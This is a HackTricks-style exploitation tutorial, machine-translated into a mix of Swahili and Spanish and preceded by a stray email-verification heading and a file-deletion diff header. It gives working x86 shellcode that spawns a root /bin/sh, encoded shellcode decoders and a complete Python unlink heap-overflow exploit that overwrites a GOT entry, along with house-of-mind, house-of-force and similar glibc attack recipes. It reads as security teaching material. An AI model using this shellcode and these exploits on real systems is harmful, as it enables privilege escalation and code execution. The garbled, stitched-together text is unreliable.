# Uthibitisho wa Barua Pepe
{{#include ./banners/hacktricks-training.md}}
##
##
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,542 +0,0 @@
# Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
## **2.SHELLCODE**
Tazama usumbufu wa kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
xor eax, eax ; tunasafisha eax\
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
int 0x80 ; Tekeleza syscall
**nasm -f elf assembly.asm** —> Inatuletea .o\
**ld assembly.o -o shellcodeout** —> Inatupa executable iliyoundwa na msimbo wa mkusanyiko na tunaweza kupata opcodes kwa **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba kwa kweli ni shellcode yetu na kupata OpCodes
**Kagua kwamba shellcode inafanya kazi**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Ili kuona kwamba wito za mfumo zinafanywa kwa usahihi, inapaswa kukusanywa programu iliyotangulia na wito za mfumo zinapaswa kuonekana katika **strace ./PROGRAMA_COMPILADO**
Wakati wa kuunda shellcodes, kuna ujanja unaoweza kufanywa. Amri ya kwanza ni jump kwa call. Call inaita msimbo wa asili na pia inaweka EIP kwenye stack. Baada ya amri ya call, tumeweka string ambayo tunahitaji, hivyo kwa EIP hiyo tunaweza kuelekeza kwenye string na pia kuendelea kutekeleza msimbo.
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ kutumia Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Inajumuisha msimbo mdogo unaopita kwenye kurasa za kumbukumbu zinazohusishwa na mchakato kutafuta shellcode iliyohifadhiwa (inatafuta saini yoyote iliyowekwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza msimbo.
**Shellcodes polimórficos**
Inajumuisha shells zilizofichwa ambazo zina msimbo mdogo unaozifichua na kuhamia kwake, ukitumia hila ya Call-Pop hii itakuwa **mfano wa kufichwa cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Técnica de Murat**
Katika linux, programu zote zinapangwa kuanzia 0xbfffffff
Kwa kuangalia jinsi inavyoundwa stack ya mchakato mpya katika linux, inaweza kuendelezwa exploit kwa njia ambayo programu itazinduliwa katika mazingira ambayo variable pekee ni shellcode. Anwani hii basi inaweza kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
Kwa njia hii, anwani ambapo kuna variable ya mazingira na shellcode inaweza kupatikana kwa urahisi.
Hii inaweza kufanywa kwa sababu kazi execle inaruhusu kuunda mazingira ambayo yana tu variables za mazingira zinazotakiwa.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
The **sprintf moves** a formatted string **to** a **variable.** Hivyo, unaweza kutumia **formatting** ya string kusababisha **buffer overflow in the variable** ambapo maudhui yanakopiwa.\
Kwa mfano, payload `%.44xAAAA` it **write 44B+"AAAA" in the variable**, ambayo inaweza kusababisha buffer overflow.
### **\_\_atexit Structures**
> [!CAUTION]
> Sasa ni **weird to exploit this**.
**`atexit()`** ni kazi ambayo **functions nyingine zinapewa kama parameters.** Hizi **functions** zita **executed** wakati wa kutekeleza **`exit()`** au **return** ya **main**.\
Ikiwa unaweza **modify** **address** ya yoyote ya hizi **functions** kuashiria shellcode kwa mfano, utapata **control** ya **process**, lakini hii kwa sasa ni ngumu zaidi.\
Kwa sasa, **addresses to the functions** zitakazotekelezwa zime **hidden** nyuma ya muundo kadhaa na hatimaye anwani ambayo inaashiria si anwani za functions, bali zime **encrypted with XOR** na displacement na **random key**. Hivyo kwa sasa, vector hii ya shambulio si **very useful at least on x86** na **x64_86**.\
Kazi ya **encryption** ni **`PTR_MANGLE`**. **Other architectures** kama m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function kwa sababu inarudisha **the same** kama ilivyopokea kama input. Hivyo, hizi architectures zingeweza kushambuliwa na vector hii.
### **setjmp() & longjmp()**
> [!CAUTION]
> Sasa ni **weird to exploit this**.
**`Setjmp()`** inaruhusu **save** **context** (registers)\
**`longjmp()`** inaruhusu **restore** **context**.\
**Saved registers** ni: `EBX, ESI, EDI, ESP, EIP, EBP`\
Kina kinachotokea ni kwamba EIP na ESP vinapita na **`PTR_MANGLE`** function, hivyo **architecture vulnerable to this attack are the same as above**.\
Zinatumika kwa ajili ya urejeleaji wa makosa au kukatizwa.\
Hata hivyo, kutokana na kile nilichosoma, register nyingine hazijalindwa, **hivyo ikiwa kuna `call ebx`, `call esi` au `call edi`** ndani ya kazi inayoitwa, control inaweza kuchukuliwa. Au unaweza pia kubadilisha EBP ili kubadilisha ESP.
**VTable na VPTR katika C++**
Kila darasa lina **Vtable** ambayo ni array ya **pointers to methods**.
Kila kitu cha **class** kina **VPtr** ambayo ni **pointer** kwa array ya darasa lake. VPtr ni sehemu ya kichwa cha kila kitu, hivyo ikiwa **overwrite** ya **VPtr** inafanikiwa inaweza **modified** ili **point** kwa njia ya dummy ili kutekeleza kazi kutakuwa na shellcode.
## **Medidas preventivas y evasiones**
###
**Reemplazo de Libsafe**
Inawashwa na: LD_PRELOAD=/lib/libsafe.so.2\
au\
“/lib/libsave.so.2” > /etc/ld.so.preload
Inakabiliwa na simu za baadhi ya kazi zisizo salama kwa nyingine salama. Haijapangwa. (ni kwa x86 tu, si kwa toleo lililojengwa na -fomit-frame-pointer, si toleo la static, si kazi zote dhaifu zinakuwa salama na LD_PRELOAD haitumiki katika binaries zenye suid).
**ASCII Armored Address Space**
Inajumuisha kupakia maktaba za pamoja kutoka 0x00000000 hadi 0x00ffffff ili kila wakati kuwe na byte 0x00. Hata hivyo, hii kwa kweli haisimamishi mashambulizi yoyote, na hasa katika little endian.
**ret2plt**
Inajumuisha kufanya ROP kwa njia ambayo inaita kazi strcpy@plt (kutoka plt) na kuashiria kwenye ingizo la GOT na kunakili byte ya kwanza ya kazi ambayo inataka kuitwa (system()). Kisha inafanywa vivyo hivyo ikielekeza kwenye GOT+1 na kunakili byte ya 2 ya system()… Mwishowe inaita anwani iliyohifadhiwa katika GOT ambayo itakuwa system()
**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya subdirectorio maalum
Msimamizi anaweza kutoka kwenye moja ya jaula hizi kwa kufanya: mkdir foo; chroot foo; cd ..
**Instrumentación de código**
Valgrind —> Inatafuta makosa\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev_size |\
size | —Cabecera\
\*mem | Datos
**Trozo libre**
prev_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabecera\
\*mem | Datos
Vipande vya bure viko kwenye orodha ya kuunganishwa mara mbili (bin) na haviwezi kuwa na vipande viwili vya bure pamoja (vinajumuika)
Katika “size” kuna bits za kuashiria: Ikiwa kipande cha awali kinatumika, ikiwa kipande kimepewa kupitia mmap() na ikiwa kipande kinahusiana na arena ya msingi.
Ikiwa unapofungua kipande chochote cha jirani kinapatikana bure, vinajumuika kupitia macro unlink() na kipande kipya kikubwa zaidi kinapelekwa frontlink() ili kiingize bin inayofaa.
unlink(){\
BK = P->bk; —> BK ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla\
FD = P->fd; —> FD ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla\
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwa kipande kipya\
BK->fd = FD; —> FD ya kipande cha awali inaelekeza kwa kipande kipya\
}
Hivyo basi, ikiwa tunafanikiwa kubadilisha P->bk na anwani ya shellcode na P->fd na anwani ya ingizo katika GOT au DTORS - 12, inafanikiwa:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
Na hivyo shellcode inatekelezwa wakati wa kutoka kwenye programu.
Zaidi, sentensi ya 4 ya unlink() inaandika kitu na shellcode inapaswa kuwa na marekebisho kwa hili:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Hii inasababisha kuandika bytes 4 kuanzia byte ya 8 ya shellcode, hivyo amri ya kwanza ya shellcode inapaswa kuwa jmp ili kuondoka hapa na kuanguka kwenye nops ambazo zinaelekea kwenye sehemu nyingine ya shellcode.
Hivyo basi exploit inaundwa:
Katika buffer1 tunatia shellcode ikianza na jmp ili kuanguka kwenye nops au kwenye sehemu nyingine ya shellcode.
Baada ya shell code tunatia kujaza hadi kufikia uwanja prev_size na size wa kipande kinachofuata. Katika maeneo haya tunatia 0xfffffff0 (ili kuandika prev_size ili iwe na bit inayosema kuwa iko bure) na “-4“(0xfffffffc) katika size (ili wakati inakagua katika kipande cha 3 ikiwa kipande cha 2 kilikuwa bure kwa kweli kiende kwenye prev_size iliyobadilishwa ambayo itamwambia kuwa kiko bure) -> Hivyo wakati free() inachunguza itakwenda kwenye size ya 3 lakini kwa kweli itakwenda kwenye 2 - 4 na kufikiri kuwa kipande cha 2 kiko bure. Na kisha itaita **unlink()**.
Wakati wa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 hivyo hapo kutakuwa na anwani unayotaka kuandika - 12 (kwa sababu katika FD->bk itazidisha 12 kwa anwani iliyohifadhiwa katika FD). Na katika anwani hiyo itatia anwani ya pili ambayo itakutana katika kipande cha 2, ambayo tunataka iwe anwani ya shellcode (P->bk bandia).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre**
**addr_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Tunadhibiti vipande 3 vya mfululizo na vinachukuliwa kwa mpangilio wa kinyume na ulivyohifadhiwa.
Katika kesi hiyo:
Katika chunck c tunatia shellcode
Chunck a tunatumia kuandika b kwa njia ambayo size iwe na bit PREV_INUSE iliyozimwa ili kufikiri kuwa chunck a iko bure.
Zaidi, tunandika katika kichwa b size ili iwe -4.
Hivyo, programu itafikiri kuwa “a” iko bure na katika bin, hivyo itaita unlink() ili kuondoa. Hata hivyo, kama kichwa cha PREV_SIZE kina thamani -4. Itafikiri kuwa kipande cha “a” kwa kweli kinaanza katika b+4. Yaani, itafanya unlink() kwa kipande kinachoanza katika b+4, hivyo katika b+12 kutakuwa na pointer “fd” na katika b+16 kutakuwa na pointer “bk”.
Kwa njia hii, ikiwa katika bk tunatia anwani ya shellcode na katika fd tunatia anwani ya kazi “puts()”-12 tuna payload yetu.
**Técnica de Frontlink**
Inaitwa frontlink wakati kitu kinacholewa na hakuna kipande chake cha jirani ambacho hakiko bure, hakuitwi unlink() bali inaitwa moja kwa moja frontlink().
Udhaifu huu ni muhimu wakati malloc inayoshambuliwa kamwe haiachiliwi (free()).
Inahitaji:
Buffer ambayo inaweza kujaa na kazi ya kuingiza data
Buffer inayofuatana na hii ambayo inapaswa kuachiliwa na ambayo itabadilishwa uwanja wa fd wa kichwa chake kwa sababu ya overflow ya buffer ya awali
Buffer ya kuachiliwa yenye ukubwa mkubwa kuliko 512 lakini mdogo kuliko buffer ya awali
Buffer iliyotangulia kabla ya hatua ya 3 ambayo inaruhusu kuandika prev_size hii
Kwa njia hii, kwa kuandika katika mallocs mbili kwa njia isiyo ya kudhibitiwa na katika moja kwa njia ya kudhibitiwa lakini ambayo inachiliwa tu hiyo moja, tunaweza kufanya exploit.
**Vulnerabilidad double free()**
Ikiwa inaitwa mara mbili free() na pointer ile ile, kuna bins mbili zinazoelekeza kwenye anwani ile ile.
Katika kesi ya kutaka kutumia moja, itapewa bila matatizo. Katika kesi ya kutaka kutumia nyingine, itapewa nafasi ile ile hivyo tutakuwa na pointers “fd” na “bk” zilizopotoshwa na data ambazo zitaandikwa na uhifadhi wa awali.
**After free()**
Pointer iliyokuwa imeachiliwa awali inatumika tena bila kudhibitiwa.
## **8 Heap Overflows: Exploits avanzados**
Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi unlink().
**The house of mind**
Simu moja tu ya free() inahitajika ili kusababisha utekelezaji wa msimbo wa kawaida. Inahitajika kutafuta kipande cha pili ambacho kinaweza kujaa na kipande cha awali na kuachiliwa.
Simu moja ya free() inasababisha kuita public_fREe(mem), hii inafanya:
mstate ar_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kipande kinaanza (mem-8)
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
\_int_free(ar_ptr, mem);
}
Katika \[1] inakagua uwanja wa size bit NON_MAIN_ARENA, ambayo inaweza kubadilishwa ili ukaguzi urudishe kweli na kutekeleze heap_for_ptr() ambayo inafanya and kwa “mem” ikiacha 0 bytes 2.5 zisizo muhimu (katika kesi yetu kutoka 0x0804a000 inacha 0x08000000) na inafikia 0x08000000->ar_ptr (kama vile ni struct heap_info)
Kwa njia hii ikiwa tunaweza kudhibiti kipande kwa mfano katika 0x0804a000 na kuna kipande kitakachochukuliwa katika **0x081002a0** tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kipande hiki cha pili kitachukuliwa, kitakuta kuwa heap_for_ptr(ptr)->ar_ptr inarudisha kile tulichoandika katika 0x08100000 (kwa sababu inatumika kwa 0x081002a0 and ambayo tuliona hapo awali na kutoka hapo inachukuliwa thamani ya bytes 4 za kwanza, ar_ptr)
Kwa njia hii inaitwa \_int_free(ar_ptr, mem), yaani, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Kama tulivyona hapo awali tunaweza kudhibiti thamani ya av, kwani ni kile tunachoandika katika kipande kitakachochukuliwa.
Kama inavyofafanuliwa unsorted_chunks, tunajua kwamba:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Hivyo basi ikiwa katika av->bins\[2] tunaandika thamani ya \_\_DTOR_END\_\_-12 katika amri ya mwisho itaandika katika \_\_DTOR_END\_\_ anwani ya kipande cha pili.
Yaani, katika kipande cha kwanza tunahitaji kuweka mara nyingi anwani ya \_\_DTOR_END\_\_-12 kwa sababu hapo ndipo av->bins\[2] itachukuliwa.
Katika anwani ambayo itakuwa anwani ya kipande cha pili na sifuri tano za mwisho tunahitaji kuandika anwani ya kipande hiki cha kwanza ili heap_for_ptr() ifikirie kuwa ar_ptr iko mwanzo wa kipande cha kwanza na kuchukua kutoka hapo av->bins\[2]
Katika kipande cha pili na kwa msaada wa kipande cha kwanza tunabadilisha prev_size na jump 0x0c na size na kitu ili kuamsha -> NON_MAIN_ARENA
Kisha katika kipande 2 tunatia nops nyingi na hatimaye shellcode
Kwa njia hii itaita \_int_free(TROZO1, TROZO2) na kufuata maelekezo ya kuandika katika \_\_DTOR_END\_\_ anwani ya prev_size ya TROZO2 ambayo itaruka kwenye shellcode.
Ili kutumia mbinu hii inahitajika kutimizwa baadhi ya mahitaji zaidi ambayo yanakabili kidogo payload.
Mbinu hii sasa haiwezi kutumika kwa sababu ilitumiwa karibu na patch ile ile kama kwa unlink. Inalinganishwa ikiwa eneo jipya ambalo linapojulikana pia linapojulikana kwake.
**Fastbin**
Ni toleo la The house of mind
Tunataka kufikia kutekeleza msimbo ufuatao ambao unafikiwa baada ya ukaguzi wa kwanza wa kazi \_int_free()
fb = &(av->fastbins\[fastbin_index(size)] —> Ikiwa fastbin_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Kwa njia hii ikiwa tunatia katika “fb” inatoa anwani ya kazi katika GOT, katika anwani hii itatia anwani ya kipande kilichosababisha. Ili kufanya hivyo itahitajika kwamba arena iwe karibu na anwani za dtors. Kwa usahihi av->max_fast iwe katika anwani ambayo tutakuwa tukisababisha.
Kwa sababu na The House of Mind tuliona kwamba sisi tunadhibiti nafasi ya av.
Hivyo ikiwa katika uwanja size tunatia ukubwa wa 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() itatreturn fastbins\[-1], ambayo itakuwa inashikilia av->max_fast
Katika kesi hii av->max_fast itakuwa anwani ambayo itasababisha (siyo ile ambayo inashikilia, bali hiyo nafasi itakuwa inasababisha).
Zaidi, inapaswa kutimizwa kwamba kipande kinachofuata kilichochukuliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa sababu tumesema kwamba size ya kipande kilichochukuliwa ni 8, katika kipande hiki bandia tunahitaji tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochukuliwa, itabidi kuweka mwanzo jmp ambayo itanguka kwenye nops).
Zaidi, kipande hiki bandia kinapaswa kuwa kidogo kuliko av->system_mem. av->system_mem iko 1848 bytes zaidi.
Kwa sababu ya sifuri za \_DTOR_END\_ na anwani chache katika GOT, hakuna anwani katika sehemu hizi zinazofaa kuandikwa, hivyo tuone jinsi ya kutumia fastbin kushambulia stack.
Njia nyingine ya shambulio ni kuelekeza **av** kwenye stack.
Ikiwa tunabadilisha size ili iwe 16 badala ya 8 basi: fastbin_index() itatreturn fastbins\[0] na tunaweza kutumia hii kuandika kwenye stack.
Ili kufanya hivyo, hakupaswi kuwa na canary au thamani za ajabu kwenye stack, kwa kweli tunapaswa kuwa katika hii: 4bytes sifuri + EBP + RET
Sifuri 4 zinahitajika ili **av** iwe katika anwani hii na kipengele cha kwanza cha **av** ni mutexe ambayo inapaswa kuwa 0.
**av->max_fast** itakuwa EBP na itakuwa thamani ambayo itatusaidia kupita vizuizi.
Katika **av->fastbins\[0]** itasababisha anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
Zaidi, katika **av->system_mem** (1484bytes juu ya nafasi kwenye stack) kutakuwa na takataka nyingi ambazo zitaturuhusu kupita ukaguzi unaofanywa.
Zaidi, inapaswa kutimizwa kwamba kipande kinachofuata kilichochukuliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa sababu tumesema kwamba size ya kipande kilichochukuliwa ni 16, katika kipande hiki bandia tunahitaji tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochukuliwa, itabidi kuweka mwanzo jmp ambayo itanguka kwenye nops ambazo ziko baada ya uwanja size wa kipande bandia jipya).
**The House of Spirit**
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, kwamba pointer iko kwenye stack chini ya overflow inayoweza kutokea kwa variable).
Hivyo, tunaweza kufanya pointer hii kuelekeza popote. Hata hivyo, si kila mahali ni halali, ukubwa wa kipande bandia lazima uwe mdogo kuliko av->max_fast na kwa usahihi sawa na ukubwa ulioombwa katika simu ya baadaye kwa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer hii dhaifu inaitwa malloc(40), ukubwa wa kipande bandia lazima uwe sawa na 48.
Ikiwa kwa mfano programu inamuuliza mtumiaji nambari tunaweza kuingiza 48 na kuelekeza pointer ya malloc inayoweza kubadilishwa kwa bytes nne zinazofuata (ambazo zinaweza kuwa za EBP kwa bahati, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha size). Zaidi, anwani ptr-4+48 inapaswa kutimiza masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system_mem.
Ikiwa hii inatimizwa, wakati simu inayofuata ya malloc ambayo tulisema ilikuwa malloc(40) itapewa kama anwani anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa katika malloc hii anaweza kuandika EBP na EIP kwa anwani anayotaka.
Hii nadhani ni kwa sababu wakati itakapofutwa free() itahifadhi kwamba katika anwani ambayo inaelekeza kwa EBP ya stack kuna kipande cha ukubwa mzuri kwa malloc mpya ambayo inataka kuhifadhiwa, hivyo inatoa anwani hiyo.
**The House of Force**
Inahitajika:
- Overflow kwa kipande kinachoruhusu kuandika wilderness
- Simu ya malloc() yenye ukubwa ulioamuliwa na mtumiaji
- Simu ya malloc() ambayo data zake zinaweza kufafanuliwa na mtumiaji
Kitu cha kwanza kinachofanywa ni kuandika size ya kipande wilderness kwa thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa litashughulikiwa katika \_int_malloc() bila haja ya kupanua heap
Kitu cha pili ni kubadilisha av->top ili iangalie eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama vile stack. Katika av->top itatia \&EIP - 8.
Tunapaswa kuandika av->top ili iangalie eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim inachukua thamani ya anwani ya kipande cha sasa cha wilderness (av->top ya sasa) na remainder ni jumla ya anwani hiyo na kiasi cha bytes kilichohitajika na malloc(). Hivyo ikiwa \&EIP-8 iko katika 0xbffff224 na av->top ina 0x080c2788, basi kiasi tunachohitaji kuhifadhi katika malloc inayoweza kudhibitiwa ili av->top iwe inatazama $EIP-8 kwa malloc inayofuata itakuwa:
0xbffff224 - 0x080c2788 = 3086207644.
Hivyo itahifadhiwa katika av->top thamani iliyobadilishwa na malloc inayofuata itatazama EIP na inaweza kuandika.
Ni muhimu kujua kwamba size ya kipande kipya cha wilderness ni kubwa zaidi kuliko ombi lililofanywa na malloc ya mwisho. Yaani, ikiwa wilderness inatazama \&EIP-8, size itakuwa tu katika uwanja EBP wa stack.
**The House of Lore**
**Corrupción SmallBin**
Vipande vilivyofutwa vinapelekwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kupelekwa huwekwa katika unsorted bins. Kipande kinapofutwa hakijapelekwa mara moja kwenye bin yake bali kinabaki katika unsorted bins. Kisha, ikiwa kipande kipya kinahitajika na kipande cha awali kilichofutwa kinaweza kutumika, kinarejeshwa, lakini ikiwa kinahitajika kikubwa zaidi, kipande kilichofutwa katika unsorted bins kinapelekwa kwenye bin yake inayofaa.
Ili kufikia msimbo dhaifu ombi la kumbukumbu linapaswa kuwa kubwa zaidi ya av->max_fast (72 kwa kawaida) na chini ya MIN_LARGE_SIZE (512).
Ikiwa katika bin kuna kipande cha ukubwa unaofaa kwa kile kinachohitajika kinarejeshwa baada ya kuondolewa:
bck = victim->bk; Inaelekeza kwenye kipande cha awali, ni taarifa pekee ambayo tunaweza kubadilisha.
bin->bk = bck; Kipande cha pili cha mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack kipande kinachofuata kinachohifadhiwa kitapewa anwani hii
bck->fd = bin; Inafunga orodha ikifanya hii kuelekeza kwa bin
Inahitaji:
Kuhifadhi malloc mbili, kwa njia ambayo ya kwanza inaweza kujaa baada ya ya pili kuachiliwa na kuingizwa kwenye bin yake (yaani, kuhifadhi malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya overflow)
Kuhifadhi malloc iliyohifadhiwa ambayo inapata anwani iliyochaguliwa na mshambuliaji inapaswa kudhibitiwa na mshambuliaji.
Lengo ni lifuatalo, ikiwa tunaweza kufanya overflow kwenye heap ambayo chini yake kuna kipande kilichofutwa tayari na katika bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na kipande hiki kinakuwa cha kwanza katika orodha ya bin na kinahifadhiwa, bin itadanganywa na kuambiwa kwamba kipande cha mwisho katika orodha (kilichofuata kutoa) kiko katika anwani bandia ambayo tumepanga (kwa stack au GOT kwa mfano). Hivyo ikiwa kutakuwa na kuhifadhiwa kipande kingine na mshambuliaji ana ruhusa kwake, atapewa kipande katika nafasi inayotakiwa na anaweza kuandika humo.
Baada ya kuondoa kipande kilichobadilishwa inahitajika kuhifadhi kipande kikubwa zaidi kuliko kilichofutwa, hivyo kipande kilichobadilishwa kitatoka kwenye unsorted bins na kuingizwa kwenye bin yake.
Mara kipande kikiwa kwenye bin yake ni wakati wa kubadilisha pointer yake bk kupitia overflow ili iangalie anwani tunayotaka kuandika.
Hivyo bin itasubiri zamu hadi itakapoitwa malloc() mara nyingi za kutosha ili itumike tena bin iliyobadilishwa na kudanganya bin ikifanya ionekane kwamba kipande kinachofuata kiko katika anwani bandia. Kisha itatoa kipande ambacho tunataka.
Ili kutekeleza udhaifu haraka iwezekanavyo, bora ingekuwa: Kuhifadhi kipande dhaifu, kuhifadhi kipande kitakachobadilishwa, kuondoa kipande hiki, kuhifadhi kipande kikubwa zaidi ambacho kitabadilishwa, kubadilisha kipande (udhaifu), kuhifadhi kipande sawa na kipande kilichodhuriwa na kuhifadhi kipande cha pili sawa na kipande hiki ambacho kitakuwa kinatazama anwani iliyochaguliwa.
Ili kulinda shambulio hili, ilitumika ukaguzi wa kawaida kwamba kipande “siyo” bandia: inakagua ikiwa bck->fd inaelekeza kwa victim. Yaani, katika kesi yetu ikiwa pointer fd* ya kipande bandia inayoshikiliwa kwenye stack inaelekeza kwa victim. Ili kupita ulinzi huu mshambuliaji anahitaji kuwa na uwezo wa kuandika kwa namna fulani (kwa stack labda) katika anwani sahihi anwani ya victim. Ili hivyo ionekane kama kipande halisi.
**Corrupción LargeBin**
Inahitaji mahitaji sawa na yale ya awali na mengine zaidi, zaidi ya hayo, vipande vilivyohifadhiwa vinapaswa kuwa vikubwa zaidi ya 512.
Shambulio ni kama la awali, yaani, inahitaji kubadilisha pointer bk na inahitaji simu zote hizo za malloc(), lakini zaidi inahitaji kubadilisha size ya kipande kilichobadilishwa ili size hiyo - nb iwe < MINSIZE.
Kwa mfano itafanya kuweka katika size 1552 ili 1552 - 1544 = 8 < MINSIZE (tofauti haiwezi kuwa hasi kwa sababu inalinganishwa na unsigned)
Zaidi ya hayo, patch imewekwa ili kufanya iwe ngumu zaidi.
**Heap Spraying**
